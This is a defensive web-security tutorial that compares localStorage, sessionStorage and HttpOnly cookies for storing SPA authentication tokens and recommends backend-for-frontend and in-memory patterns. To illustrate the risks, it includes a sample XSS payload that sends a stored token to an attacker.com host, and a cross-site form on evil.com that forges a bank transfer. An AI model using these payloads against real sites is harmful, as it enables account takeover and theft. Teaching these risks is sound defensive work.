localStorage vs sessionStorage vs Cookies: Security Comparison
Why localStorage is dangerous for authentication tokens (XSS exfiltration), how sessionStorage differs, what HttpOnly cookies prevent, and the recommended SPA auth token storage patterns.
Where you store authentication tokens in a browser matters enormously. The wrong choice can mean that a single XSS vulnerability — anywhere in your application or any third-party script you load — gives an attacker permanent access to every user's account. The right choice makes token theft significantly harder even when XSS exists.
The Token Storage Problem
Single-page applications need to store authentication tokens (JWTs, opaque session tokens) somewhere in the browser between page loads. The three available options are localStorage, sessionStorage, and cookies. Each has a different security profile.
localStorage: Convenient but XSS-Vulnerable
localStorage persists across browser sessions, survives tab closes, and is accessible from any JavaScript running on the same origin.
// Storing a JWT in localStorage — the common mistake
localStorage.setItem('auth_token', jwt);
// Reading it back for API requests
const token = localStorage.getItem('auth_token');
fetch('/api/data', {
headers: { Authorization: `Bearer ${token}` }
});
The critical vulnerability: Any JavaScript running on your page can read localStorage. This includes:
- Your own code (fine)
- An XSS payload injected via a vulnerability in your application
- Third-party scripts from npm packages you installed
- Tag manager scripts loaded from your marketing team's account
- Chat widget scripts from third-party vendors
- Analytics libraries
An XSS payload that exfiltrates localStorage tokens is trivially simple:
// What an XSS payload looks like
new Image().src = 'https://attacker.com/steal?token=' +
encodeURIComponent(localStorage.getItem('auth_token'));
The stolen JWT is now in the attacker's server logs. They can use it until it expires — from anywhere, on any device. If the JWT has a 30-day expiry (common in "remember me" implementations), that's a 30-day persistent compromise from a single XSS hit.
The attack surface for XSS is larger than most developers realize. Your application might be well-hardened, but every npm dependency you install is potential attack surface. The event-stream attack (2018), the ua-parser-js attack (2021), and dozens of others demonstrate that popular, trusted packages get compromised.
localStorage has no properties that make token theft harder. It is not scoped to HTTPS, not protected from JavaScript access, and persists indefinitely.
sessionStorage: Slightly Better, Still Exposed
sessionStorage is scoped to the current browser tab and cleared when the tab closes. It has the same JavaScript accessibility as localStorage.
// sessionStorage tokens are slightly less persistent
sessionStorage.setItem('auth_token', jwt);
The security improvement over localStorage is minimal:
- Still accessible by any JavaScript on the page — XSS can still steal it
- A compromised token is only valid until the tab closes, but an active tab may stay open for hours
- Not shared between tabs (a usability disadvantage that also limits the XSS window slightly)
sessionStorage is appropriate for temporary, low-sensitivity values (UI state, draft form data), but not for authentication tokens.
HttpOnly Cookies: The Secure Default
An HttpOnly cookie is set by the server and cannot be read or modified by JavaScript. The browser automatically includes it in every matching request, but document.cookie does not expose it.
HTTP/1.1 200 OK
Set-Cookie: session_token=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=86400
| Attribute | Effect |
|---|---|
HttpOnly | JavaScript cannot read document.cookie for this cookie |
Secure | Only sent over HTTPS connections |
SameSite=Strict | Never sent in cross-site requests (maximum CSRF protection) |
SameSite=Lax | Sent in top-level navigations but not sub-resource requests |
SameSite=None; Secure | Sent in all cross-site requests (required for cross-domain APIs) |
Path=/ | Scoped to the entire domain |
Max-Age | Explicit expiry in seconds |
What XSS cannot do with HttpOnly cookies:
// XSS payload attempting to steal cookies
document.cookie // Returns only non-HttpOnly cookies — doesn't show session_token
// This fails — HttpOnly cookies are invisible to JavaScript
const token = getCookieValue('session_token'); // undefined
What XSS can still do:
Even with HttpOnly cookies, XSS can:
- Make authenticated API requests on behalf of the user (the browser sends cookies automatically)
- Modify the DOM to collect credentials as users type them
- Redirect the user to a phishing page
- Read non-HttpOnly data (other cookies, localStorage content, the page DOM)
HttpOnly cookies prevent token exfiltration specifically — the token cannot be extracted and used from a different device/browser. The attack is degraded to session riding: the attacker can only act within the victim's current browser session.
SameSite: CSRF Protection Built Into Cookies
SameSite is the modern replacement for CSRF tokens in most scenarios.
With SameSite=Strict, the cookie is not sent when navigating to your site from an external link or when a cross-origin page makes a request to your API:
<!-- On evil.com -->
<!-- With SameSite=Strict, the session_token cookie is NOT sent with this request -->
<form action="https://bank.com/transfer" method="POST">
<input name="amount" value="1000" />
<input name="to" value="attacker_account" />
</form>
SameSite=Lax is the browser default (Chrome, Firefox, Edge) when no SameSite attribute is specified. It blocks cookies from cross-site sub-resource requests and forms, but allows cookies on top-level navigations (clicking a link):
# SameSite=Lax allows cookie on:
https://bank.com/account (navigated from evil.com link)
# SameSite=Lax blocks cookie on:
fetch('https://bank.com/api/transfer', { method: 'POST' }) (from evil.com)
<img src="https://bank.com/api/transfer?amount=1000"> (from evil.com)
Recommended SPA Authentication Patterns
Pattern 1: BFF (Backend For Frontend) with HttpOnly Cookies
The cleanest architecture: your SPA never touches tokens. A backend-for-frontend handles the OAuth flow and sets HttpOnly cookies.
Browser (SPA) <---> BFF (Next.js / Express) <---> Auth Service / OAuth Provider
|
Sets HttpOnly cookie
Proxies API requests
The SPA makes requests to the BFF, which adds authentication headers before forwarding to the actual API. The token never touches the browser's accessible storage.
// Next.js BFF route handler
// app/api/[...proxy]/route.ts
export async function GET(request: Request) {
const sessionCookie = cookies().get('session_token');
if (!sessionCookie) {
return Response.json({ error: 'Not authenticated' }, { status: 401 });
}
// Forward request to the actual API, adding auth header
const backendResponse = await fetch('https://api.internal/data', {
headers: {
Authorization: `Bearer ${sessionCookie.value}`,
},
});
return backendResponse;
}
// Login endpoint — sets HttpOnly cookie, never returns token to client
export async function POST(request: Request) {
const { username, password } = await request.json();
const token = await authenticateUser(username, password);
const response = Response.json({ success: true });
response.headers.set(
'Set-Cookie',
`session_token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=86400`
);
return response;
}
Pattern 2: In-Memory Token Storage (No Persistence)
Store the access token in a JavaScript module variable — never in localStorage or sessionStorage. The token is lost on page reload, so pair it with a long-lived refresh token in an HttpOnly cookie.
// auth/tokenStore.ts — module-level variable, not accessible from other origins
let accessToken: string | null = null;
export function setAccessToken(token: string): void {
accessToken = token;
}
export function getAccessToken(): string | null {
return accessToken;
}
export function clearAccessToken(): void {
accessToken = null;
}
// auth/api.ts
import { getAccessToken, setAccessToken } from './tokenStore';
export async function fetchWithAuth(url: string, options: RequestInit = {}) {
let token = getAccessToken();
if (!token) {
// Refresh token is in HttpOnly cookie — browser sends it automatically
const refreshResponse = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // Include the HttpOnly refresh token cookie
});
if (!refreshResponse.ok) {
throw new Error('Session expired');
}
const { accessToken: newToken } = await refreshResponse.json();
setAccessToken(newToken);
token = newToken;
}
return fetch(url, {
...options,
headers: {
...options.headers,
Authorization: `Bearer ${token}`,
},
});
}
XSS can still read the in-memory token (it's in JavaScript memory), but it cannot steal the refresh token (HttpOnly cookie), so the attacker cannot get a new access token after the current one expires. The compromise window is limited to the access token TTL — typically 15 minutes.
Why Not Just Use localStorage with a Short TTL?
A 15-minute JWT in localStorage is still exfiltrable. The attacker scripts run in real time — they can read the token immediately after it's set and use it within that window. Short TTL reduces the window for offline use, not for immediate theft.
Summary Decision Matrix
| Storage | XSS Theft | CSRF Risk | Survives Reload | Survives Tab Close | Recommendation |
|---|---|---|---|---|---|
localStorage | Yes | No | Yes | Yes | Never for auth tokens |
sessionStorage | Yes | No | No | No | Never for auth tokens |
| HttpOnly Cookie | No | Yes (without SameSite) | Yes | Depends on Max-Age | Preferred for session tokens |
| In-Memory JS | Yes (during session) | No | No | No | Good for short-lived access tokens |
| HttpOnly + SameSite=Strict | No | No | Yes | Depends on Max-Age | Best option for most applications |
The correct choice for most applications: HttpOnly + Secure + SameSite=Strict cookies for session tokens, set by a server-side component that never exposes the token to client JavaScript.